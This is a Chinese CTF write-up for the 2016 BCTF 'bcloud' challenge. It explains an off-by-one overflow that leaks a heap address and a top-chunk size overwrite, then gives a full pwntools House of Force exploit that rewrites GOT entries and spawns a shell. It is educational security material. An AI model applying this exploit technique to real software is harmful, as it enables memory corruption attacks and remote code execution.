House_of_Force-ctf-bcloud

2016 bctf bcloud 下载:
https://pan.baidu.com/s/1e-fvhaOJKzBQMxlrweLznw
提取码:ded5

放入ida中首先定位到 main()->init()->set_name()

unsigned int set_name()
{
  char name; // [esp+1Ch] [ebp-5Ch]		<--注意这里,name如果发生溢出,会将*p覆盖
  char *p; // [esp+5Ch] [ebp-1Ch]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]
  v3 = __readgsdword(0x14u);
  memset(&name, 0, 0x50u);
  puts("Input your name:");
  getSrt((int)&name, 0x40, 10);			//仔细看这个函数
  p = (char *)malloc(0x40u);
  bss_name = (int)p;
  strcpy(p, &name);
  hello((int)p);
  return __readgsdword(0x14u) ^ v3;
}

int __cdecl getSrt(int a1, int a2, char a3)
{
  char buf; // [esp+1Bh] [ebp-Dh]
  int i; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i < a2; ++i )	//如果字符串的长度正好是a2
  {
    if ( read(0, &buf, 1u) <= 0 )
      exit(-1);
    if ( buf == a3 )
      break;
    a1[i] = buf;
  }
  a1[a2] = 0;	//如果上面的for没有提前退出,那么这里溢出了1个字节
  return i;
}

int __cdecl hello(int a1)
{
  printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);
  return puts("Now let's set synchronization options.");
}

name在栈中的大小是0x40 如果我们输入的正好是 'a'*0x40 那么 *p 就会被覆盖为0

然后malloc后,p 又被改成地址,因为是第一次malloc ,所以p-8就是堆的地址

现在从name到v3(canary)之间是没有\0来结束字符串的

而strcpy这个危险函数如果没有\0作字符串结尾是不会停止复制字符串的

这样,p 就会被复制进name中,通过hello函数我们就能leak出heap的地址

同样的:

unsigned int set_org_host()
{
  char org; // [esp+1Ch] [ebp-9Ch]
  char *p_org; // [esp+5Ch] [ebp-5Ch]
  char host; // [esp+60h] [ebp-58h]
  char *p_host; // [esp+A4h] [ebp-14h]
  unsigned int v5; // [esp+ACh] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  memset(&org, 0, 0x90u);
  puts("Org:");
  getSrt((int)&org, 64, 10);
  puts("Host:");
  getSrt((int)&host, 64, 10);
  p_host = (char *)malloc(0x40u);
  p_org = (char *)malloc(0x40u);
  bss_org = (int)p_org;
  bss_host = (int)p_host;
  strcpy(p_host, (const char *)&host);
  strcpy(p_org, &org);
  puts("OKay! Enjoy:)");
  return __readgsdword(0x14u) ^ v5;
}

在这个函数中,org 指向申请的最后一个chunk

如果我们把org的内存写满,在这个函数最后一个strcpy时,*p_org就会覆盖top_chunk->prev_size位

还没有结束,p_org这个地址也没有\x00,继续覆盖,host就会覆盖top_chunk_size位

这时,我们发现一个可以改top_chunk大小的漏洞

然后,继续读代码:

int new()
{
  int result; // eax
  signed int i; // [esp+18h] [ebp-10h]
  int v2; // [esp+1Ch] [ebp-Ch]

  for ( i = 0; i <= 9 && note[i]; ++i )
    ;
  if ( i == 10 )
    return puts("Lack of space. Upgrade your account with just $100 :)");
  puts("Input the length of the note content:");
  v2 = get_num();			
  note[i] = (int)malloc(v2 + 4);
  if ( !note[i] )
    exit(-1);
  list_len[i] = v2;
  puts("Input the content:");
  getSrt(note[i], v2, 10);
  printf("Create success, the id is %d\n", i);
  result = i;
  dword_804B0E0[i] = 0;
  return result;
}

我们可以控制申请内存的大小,而且还可以写这块内存

联系上面我们改的top_chunk ,可以通过house of force 这种方式实现任意地址写

程序运行时菜单如下:

1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>

程序中没有办法打印出我们内存中的内容,因为 2 这个选项是开玩笑的 5 这个选项也没什么用

因为我们可以任意写,所以把free函数改成printf 就可以打印出内存中的内容了

看一下第三个选项:

int edit()
{
  int v1; // ST1C_4
  int v2; // [esp+14h] [ebp-14h]
  int v3; // [esp+18h] [ebp-10h]

  puts("Input the id:");
  v2 = get_num();
  if ( v2 < 0 || v2 > 9 )
    return puts("Invalid ID.");
  v3 = note[v2];
  if ( !v3 )
    return puts("Note has been deleted.");
  v1 = list_len[v2];
  dword_804B0E0[v2] = 0;
  puts("Input the new content:");
  getSrt(v3, v1, 10);
  return puts("Edit success.");
}

利用这个函数,我们可以更加轻易的改写任意位置的内存了

利用步骤如下:

  • 1.通过名字leak堆地址

  • 2.通过host and org 改大top_chunk->size

  • 3.移动top_chunk

    • 让再申请的内存在覆盖到bss段中 list_len 和noet位置的内存
    • 让noet指向函数的got表
  • 4.把free改成printf

  • 5.利用 假free 函数把atoi地址printf出来

  • 6.利用 atoi 得到system地址

  • 7.把atoi改成system

利用如下:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process('./bcloud')
elf=ELF('./bcloud')
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

context.terminal = ["tmux","splitw","-h"]
context.arch = "i386"
#context.log_level='debug'
#gdb.attach(p)

#1.通过名字leak堆地址
p.recvline("Input your name:")
p.send('a'*0x3c+'zzzz')      #足够0x40不要加\n
p.recvuntil('zzzz')
heap_addr=u32(p.recv(4))-8
success('1.heap addr = '+hex(heap_addr))

#2.通过host and org 改大top_chunk->size
p.recvuntil('Org:\n')
p.send('a'*0x40)
p.recvline('Host:')
p.sendline('\xff\xff\xff\xff')#不够0x40加\n

def add(size,content):
    p.sendline('1')    
    p.sendline(size) 
    p.sendline(content)
    p.recvuntil("Create success")
    p.recvline()

# 3.移动top_chunk
list_len= 0x804B0A0
note=0x804B120
atoi=elf.got['atoi']
free=elf.got['free']

size=heap_addr+3*0x48-list_len+16
#堆地址+先前3个堆块-list_len==>再申请出来是list_len附近
#ps:为什么加16?
#改掉的当前chunk有8个非据区然后下一个chunk也有8个非数据区
add('-'+str(size),'junk') #当前操作是把top_chunk上移     

#下一个chunk->fd将是list_len地址 
size=note-list_len+4*10 #这个size可以改list_len及note
payload=p32(4)*3+p32(0)*29#这里为什么要p32(4)*3而不是*2呢?最后要用到最后一个地址,现在预留出来
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
add(str(size),payload)        #id=1

#4.把free改成printf
printf=elf.plt['printf']#或者puts也可以
#程序第一次调用free got表没有free的真实地址
#程序会跳到对应的plt中去调用 _dl_runtime_resolve 函数去找
#把free对应的plt地址改成printf的地址
p.sendline('3')    
p.sendline('1') 
p.send(p32(printf))
p.recvuntil('Edit success.\n')

#5.利用 假free 函数把atoi地址printf出来
p.sendline('4')    
p.recvuntil('Input the id:\n')
p.sendline('0') 
atoi_addr=u32(p.recv(4))
success('2.atoi addr = '+hex(atoi_addr))
p.recvuntil('Delete success.\n')

#6.利用 atoi_addr 得到system地址
system = atoi_addr-libc.symbols['atoi']
system +=libc.symbols['system']
success('3.system addr = '+hex(system))

#7.把atoi改成system
p.sendline('3')    
p.sendline('2') 
p.send(p32(system))
p.recvuntil('option--->>\n')
p.recvuntil('option--->>\n')

#8.get shell
p.sendline('/bin/sh\x00')
p.interactive()
posted @ 2019-07-06 00:57  虐黑三爆  阅读(429)  评论(0编辑  收藏  举报